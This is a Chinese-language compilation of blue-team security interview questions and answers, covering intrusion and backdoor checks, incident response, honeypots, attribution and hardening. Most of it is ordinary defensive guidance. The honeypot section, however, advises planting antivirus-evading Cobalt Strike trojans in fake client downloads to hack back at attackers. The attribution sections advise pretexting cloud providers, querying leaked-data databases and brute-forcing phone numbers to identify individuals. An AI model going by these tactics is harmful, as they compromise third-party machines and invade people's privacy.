Linux 入侵排查1.查看账户信息 /etc/passwd;/etc/shadow 中有无其他可以登 录使用 bash 的账户,正常为/nologin2.查看本机开启端口服务信息 netstat -anlutp, 然后去查看每个开启服务所产生的日志信息 (var/log 目录下)(举例如何查看 mysql 日志,首先登录 mysql,然后使用 show variables like '%generallog%' 查看 日志是否开启和路径信息)服务入侵排查1.使用 last 命令检查系统登录日 志,统计 ip 登录错误次数和登录情况2.使用 ls -l查看 /etc/passwd 文件的修改时 间查看是否有特权用户查看网站开启的端口 ss -anlutp3.使用 ps -elf看 UID 为 0的进程查看 ssh 的公钥是否被修改4.查看网站根目录(/var/www)下是否存在可疑文件5.查看计划任务 /etc/crontab异常启动排查1.ps -elf查看进程2.查看 linux系统服务 /etc/rc.d/init.d3.查看用户自定义开机启动程序 /etc/rc.d/rc.local
布置蜜罐
一是边界区域部署办公系统蜜罐。二是在核心计算区域布置核心系统和集权系统蜜 罐。三是将真实系统的非业务端口访问流量转发至蜜罐,第一时间发现内网扫描行 为。部署高交互、高仿真蜜罐,将 vpn、oa 系统做蜜罐备份,攻防期间替换掉真实业 务域名,混淆攻击者,捕获零日漏洞。同时将下载页面中 vpn、oa 客户端替换为 cs 免杀木马,在云服务器部署通过 cna 脚本进行上线微信提醒,一旦上线即可第 一时间反制溯源
0day攻击应急相应流程
-
1. 情报收集与分析收集关于0day漏洞的相关情报,包括CVE编号、受影响系统个软件版本等信息分析漏洞利用的方式和攻击者可能采取的行动,评估威胁程度和潜在风险 -
2. 验证与确认确认系统是否受到 0day 攻击,通过检查异常活动、不寻常的日志记录或其他安全事件的 迹象。验证攻击的范围和受影响的系统,确定攻击者获取的权限和可能的损害。 -
3. 划定边界与隔离通过防火墙、入侵检测系统(IDS/IPS)或其他安全设备,将受感染的主机或网络隔离起 来,以限制攻击扩散。划定边界并构建隔离环境,确保被感染系统无法连接到其他系统或 网络 -
4. 收集证据收集与攻击有关的所有证据,包括攻击流量捕获、日志文件、内存快照、恶意代码样本 等。确保对证据进行正确的保留和存档。 -
5. 应急修复与缓解措施采取紧急措施来阻止攻击,例如禁用受感染的账户、停止受感染的服务或断开受感染系统 与网络的连接。如果可行,尝试应用已有的临时修复方案或补丁,并确保它们不会引入其 他问题。 -
6. 深度分析与恶意代码清楚对受感染系统进行深度分析,以了解攻击者的行动方式和后门特征。使用专业的安全工具 和反恶意软件软件,扫描并清除潜在的恶意代码。进行持久性检查,确保系统没有被重新 感染,并通过监控日志和网络活动来发现任何异常行为。 -
7. 系统恢复与完善防护在确认系统已经得到清理并修复后,开始系统恢复过程。确保先进行彻底的测试和验证, 以确保系统的安全性和功能性。根据针对 0day 漏洞的最新信息,升级受影响的系统和软 件,并加强防护措施,例如配置审计、访问控制和内网安全策略。 -
8. 事后分析与总结进行事后分析,评估 0day 攻击的影响和损失,并确定应对措施的有效性和不足之处。撰 写一份详细的报告,记录事件的经过、所采取的措施和应对结果。提供有关 0day 漏洞的 信息共享给相关机构或社区完成整个应急流程的闭环
实战阶段防守技战法
监控设备方法,如果说现在做好的办法那就是封堵 ip,每个头部厂商有自己的办 法,当然了防守战法有 3 个方面。
-
1. 日志设备检测日志检测可以监控检测各设备的登陆日志,重点关注管理员权限账号的登录和使用情况,通过分析登录日志发现如暴力破解和非法用户登录行为。这些都是重点中的重点 -
2. 网络流量监测通过日志异常请求,抓取网络的网络包回溯,前提在黄金5分钟搞定。可以离线下载分析cap包。使用wireshark即可。建议产品使用比较靠谱的一系列产品,比如流量回溯系统,WAF。 -
3. 内网访问关系检测重点关注内网扫描系统探测,异常网络连接,非法外联等事件。如果是已经突破边界,进入内网扫描,或者非法链接,这个事情可以进一步证实前面的判断,通过前两部的做法确认结果
请讲一下应急响应流程
应急响应是组织在遭受安全事件时采取的一系列重要步骤以最小化损失、恢复服务 并防止未来类似事件的发生。通常,应急响应流程包括以下五个主要阶段:
-
1. 预备阶段:这是响应流程中的预防步骤,需要组织建立并维护一个适当的安全基 础设施,包括防火墙、入侵检测系统等。此外,还需要对所有关键信息进行备份, 并确保其可以在需要时进行快速恢复;对重要系统进行定期的安全审计和风险评 估;并对员工进行有关安全政策和应急响应流程的培训。 -
2. 识别阶段:当潜在的安 全事件开始出现迹象时,在这个阶段,组织需要迅速识别并确认是否确实发生了安 全事件。这可能包括日志分析、异常流量检测、告警系统监控等。 -
3. 含制阶段:一 旦确认了安全事件的发生,立即采取行动阻止其扩大,包括隔离受影响的系统、关 闭非必要服务、更改或禁用受影响账号的权限等。 -
4. 恢复阶段:在安全事件已经得 到有效控制后,组织需要将受影响的系统和服务尽快恢复到正常状态。这可能包括 修复系统漏洞、恢复数据和服务、重置密码、解除隔离等。 -
5. 后期审计和反思阶段:在事件处理结束后,组织需要对此次应急响应进行整理和总结,包括编写详细 的事件报告,记录发生的事件详情、采取的响应行动、恢复步骤等;反思此次事件 响应过程中是否存在问题和改进之处,定期回顾并改进应急响应流程和策略。 -
6. 网页自 身存在漏洞:如果网页代码中存在漏洞,如XSS(跨站脚本),攻击方也能利用这些漏洞在网页上挂马。 -
7. FTP口令被窃取:如果FTP账户的口令被攻击方获取,攻击方就能登录FTP服务器,进而在网页上挂马。 -
8. 开发者的电脑被感染:如果开发者的电脑被木马病毒等恶意软件感染,可能会导致编写的网页代码包含恶意代 码,从而导致网页被挂马。 -
9. 第三方插件或库的安全性问题:如果网页中使用了第 三方的插件或者库,而这些插件或库存在安全问题,或者从未经过验证的源中获 取,也可能导致网页被挂马。 -
10. 未及时安装安全补丁:对于已知的安全漏洞,通常 厂商会提供安全补丁。如果未及时安装这些补丁,给攻击方留下了攻击的机会,也 可能导致网页被挂马。
如何排查java内存码,请说一下思路
-
1. 收集基本信息:首先,我们需要收集运行环境的基本信息,包括操作系统的类型 和版本、Java 的版本和安装位置等。这些信息可以帮助我们理解应用程序运行的 上下文。 -
2. Java 堆内存分析:我们可以使用Java内置的诊断工具,例如jmap,导 出Java 堆内存的快照,然后利用工具(如MAT、JProfiler、VisualVM 等)来分析 这个内存快照,找出异常的对象和类。 -
3. 分析Java的类加载器:内存马通常会通 过创建新的类加载器来加载恶意的类。我们可以通过分析Java的类加载器来找出 这些隐藏的恶意类。 -
4. Java线程分析:我们可以使用Java的线程堆栈分析工具, 例如jstack,来观察应用程序的运行状态。如果有恶意线程正在运行,我们可以通 过分析线程堆栈来了解其运行情况。 -
5. 查看Java的系统属性和环境变量:内存马 有可能会修改Java的系统属性或者环境变量以达到其目的。我们可以查看Java的 系统属性和环境变量,看是否有异常。 -
6. 分析网络行为:我们还可以使用网络监控 工具来分析应用程序的网络行为。如果应用程序有异常的网络连接,比如连接到未 知的远程服务器,那就可能是内存马的迹象。
Windows登录日志怎么看,判断是否登陆成功
在Windows 操作系统中,可以通过日志查看器来看登录日志,具体步骤如下:
1. 首先打开事件查看器:可以在"开始"菜单中搜索"事件查看器"或"EventViewer", 或者按Win+R,然后输入"eventvwr",然后按回车键。
2.在左侧导航树里,依次 展开"Windows日志"->"安全"。
3.在右侧的详细列表中,会看到操作系统的安全事 件。其中,登录和注销事件对应的事件ID如下:
•登录成功:事件ID4624
•登录失败:事件ID4625
•用户注销:事件ID4634
可以直接在事件查看器的右上方找到"找到"或"FilterCurrentLog"的选项,然后在" 所有事件ID"或"AllEventIDs"中输入相应的事件ID,就可以找到相关的登录或注销事件。单击一个事件,查看其详细信息。里面包含了多个重要的信息,如:
•事件生成的时间。
•登录类型:
交互式(2),网络(3),批处理(4),服务(5),解 锁(7)等。•登录的用户名和域。
•来源IP地址等。
linux后门排查哪些东西
1.登录记录:检查/var/log/secure或/var/log/auth.log。这些登录记录文件会记录 所有尝试登录系统的行为,包括ssh登录和物理终端。
2.历史命令:检查 ~/.bash_history 或其他相应的shell 历史文件,这能看到输入的命令。
3.开机自启 动程序:查看/etc/rc.d 目录下的启动脚本,以及/etc/rc.local、/etc/rc.d/rc.sysinit 等文件,检查是否存在异常。
4.网络连接:使用netstat、ss等命令查看网络连接 状态,检查是否有未知的网络连接或监听状态。
5.进程列表:使用ps、top等命令 查看正在运行的进程,特别留意是否有未知或异常的进程。
6.系统计划任务:检查 cron、at 等定时任务,看是否有未知的计划任务。主要查看/etc/crontab 文件以及 /etc/cron.目录。
7.系统调用:使用strace 等工具追踪可疑进程的系统调用,看其 是否进行了非正常的系统调用,如操作隐藏文件、监听网络端口等。
8.隐藏文件/ 目录:检查文件系统,看是否有隐藏的或没有权限的文件或目录,具体可以用ls la 命令查看。
9.系统账户:检查/etc/passwd、/etc/shadow 等文件,看是否有未 知的用户账户。
10.系统日志:查看/var/log/下的系统日志,如messages,syslogs 等,检查是否有异常或者疑似攻击的记录。
11.SSH公钥:检查~/.ssh目录下的 authorized_keys 文件,查看是否有未知的SSH 公钥。
挖矿病毒判断 中了挖矿病毒会有哪些特征
感染了挖矿病毒的系统通常会表现出以下特征 CPU或GPU使⽤率异常⾼ 即使在系统空闲时 也会看到持续的⾼资源使⽤ 系统响应变慢 由于病毒占⽤⼤量处理能⼒ 正常操作变得迟缓 电⼒消耗增加 因为病毒增加了处理负荷 电⼒消耗会明显上升 ⽹络流量异常 病毒需要与外部控制服务器通信以及提交挖矿数据 可能会看到未知的⽹络连接或 流量 增加 未知进程运⾏ 在任务管理器中可能会发现未知的或可疑的进程活动
是否有日志分析经验 如果有一个比较大的日志文件 应该如何分析处理
具备⽇志分析经验 可以使⽤多种⽅法处理⼤型⽇志⽂件 使⽤⽇志管理⼯具 如ELK栈 Elasticsearch, Logstash, Kibana 或Splunk等⼯具 它们可以有效 地导 ⼊ 索引和分析⼤量⽇志数据 ⽇志分割 对⼤型⽇志⽂件进⾏时间或⼤⼩上的分割 便于管理和分析 ⾃动化脚本 编写脚本 如使⽤Python的Pandas库 来解析 过滤和统计⽇志数据 关键字搜索和模式匹配 使⽤正则表达式或其他搜索技术 根据需要检索特定事件或错误
DDoS如何防护
防护DDoS攻击可以采取以下措施 增加带宽 增加带宽可以在⼀定程度上抵御攻击 使⽹络能够处理更多流量 配置⽹络设备 正确配置边界路由器和防⽕墙 设置速率限制和流量过滤规则 使⽤DDoS保护服务 如Cloudflare Akamai等 这些服务可以帮助分散和吸收攻击流量 建⽴冗余和分布式系统 多节点和地理分布的系统可以提⾼容错性 减轻单点故障的⻛险
对安全服务是怎么理解的
安全服务是指那些提供数据保护 防⽌未授权访问 确保数据完整性和隐私保护的服务 这些服务可 以包括 但不限于 ⽹络安全监控 持续监控⽹络活动 及时发现并应对安全威胁防病毒和反恶意软件解决⽅案 保护系统不受病毒和其他恶意软件的侵害 ⼊侵检测和预防系统 IDS/IPS 监测⽹络和系统活动 识别潜在的攻击⾏为 数据加密服务 对存储和传输的数据进⾏加密 保护数据不被未授权访问 安全审计和合规性评估 评估组织的安全措施是否符合相关安全标准和法规要求 应急响应和事故处理 在安全事件发⽣时 提供快速响应和恢复服务
判断系统是否存在后门的工具
Antivirus/Anti-malware软件 如Kaspersky, Norton, Malwarebytes ⽹络监控⼯具 如Wireshark 可以监控异常的⽹络流量 系统监控⼯具 如Sysinternals Suite中的Process Explorer和Autoruns 可以检测⾮正常的系统⾏ 为和⾃启动项
溯源思路
溯源有哪些思路
-
1. 日志分析:日志是溯源的重要信息源,包括操作系统日志、应用日志、网络设备 日志(如防火墙、入侵检测系统、Web代理日志等),通过这些日志,我们可以 了解攻击者的行动轨迹,找出攻击发起的时间和地点以及ip。 -
2. 分析网络流量:通 过抓包工具,我们可以捕获和分析网络中的数据包,从中找到攻击的痕迹,例如攻 击的IP地址、使用的端口、使用的协议和工具等。 -
3. 查看攻击工具和恶意代码: 攻击者会使用各种工具和恶意代码,我们可以通过反编译或者静态分析恶意代码, 找出攻击者藏在代码中的信息,比如控制服务器的IP地址、攻击者的邮箱或者其 他一些标识。 -
4. 引入威胁情报:威胁情报能提供各种攻击活动的信息,包括攻击手 段、漏洞利用、恶意软件、网络诈骗等各方面,我们可以参考这些信息,发现攻击 者的模式和特征,帮助我们确定攻击的来源。 -
5. 社交工程:有的时候,攻击者会在 社交媒体或者论坛上分享他们的经验或者炫耀他们的攻击行为,通过这些信息,我 们也可能找到一些溯源的线索。 -
6. 搭建蜜罐:获取攻击者的服务器的ip或拿下服 务器,可以寻找到相关厂商,联系客服说自己忘记密码了,看看能不能获取到云服 务器购买者信息,对于获取到的信息可以通过各种社工库搜一搜,各大搜索引擎去 搜索看看能不能获取到更多信息,如果是拿下了服务器或者跳板机,可查看泄露的 敏感信息和历史执行的命令去一步一步获取更多的信息。
溯源思路
1、通过恶意样本⽂件特征进⾏溯源渠道(github、⽹盘、博客、论坛等等)
2、域名、IP反查⽬标个⼈信息
3、微信、⽀付宝、淘宝等平台查找姓⽒
4、蜜罐:浏览器指纹技术、⽹络欺骗技术
只给csdn id 溯源
爆破⼿机号 前三后四爆破 ⼿机号社⼯库查
对攻击者进⾏身份画像有哪些?
虚拟身份:ID、昵称、⽹名3
真实身份:姓名、物理位置
联系⽅式:⼿机号、qq/微信、邮箱
组织情况:单位名称、职位信息
怎么溯源攻击,举⼀个溯源攻击的例子
溯源攻击通常涉及以下⼏个步骤 收集信息 从⽹络⽇志 系统⽇志 IDS/IPS系统等收集关于攻击的所有信息 分析攻击模式 识别攻击的模式 使⽤的⼯具 产⽣的流量特征等 追踪IP地址 分析攻击流量中的IP地址 可能涉及到与ISP合作以确定IP地址的具体归属 合作调查 与其他组织或执法机构合作 分享信息 提⾼追踪成功率 例⼦ 如果⼀个公司的服务被DDoS攻击 安全团队可以从防⽕墙和流量监控系统中提取攻击流量数 据 识 别出主要的攻击源IP地址 然后与互联⽹服务提供商合作 追踪这些IP地址的实际⽤户和地理位置
加固流程
网络基线加固思路
-
1. 最小权限原则:应用最少权限原则,只对需要的服务和程序提供必要的权限。例 如,应避免使用root或管理员账户进行日常操作。同样,服务和应用程序也只应 有执行其功能所需要的最小权限。 -
2. 开启必要的服务和进程:应关闭不必要的服务 和进程。每个运行在系统上的服务和进程都可能成为抵挡外部攻击的一个点,所以 只开启必要的服务和进程可以降低风险。 -
3. 防火墙配置:应使用防火墙来限制网络 访问,只允许必要的网络连接,并拒绝其它所有连接。尽可能只开放必要的端口。 -
4. 打补丁和更新:应保持系统、应用程序、网络设备等的补丁和更新为最新。这可 以确保已知的安全漏洞得到修复。 -
5. 强密码政策:应实施强密码政策来保护所有账 户。可以要求密码的复杂度、长度和更改周期等。 -
6. 日志审核和监控:应启用系统 和网络设备的日志功能,并定期查看和分析日志,以发现任何异常或可疑的活动。 -
7. 网络隔离和分层:通过网络隔离和分层可以有效地防止安全事件的横向扩散,比 如使用DMZ,VLAN等网络分层技术。
Windows加固
Linux加固
数据库加固
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,
所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.
原文始发于微信公众号(掌控安全EDU):网络安全高频面试题大总结(题目+回答)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论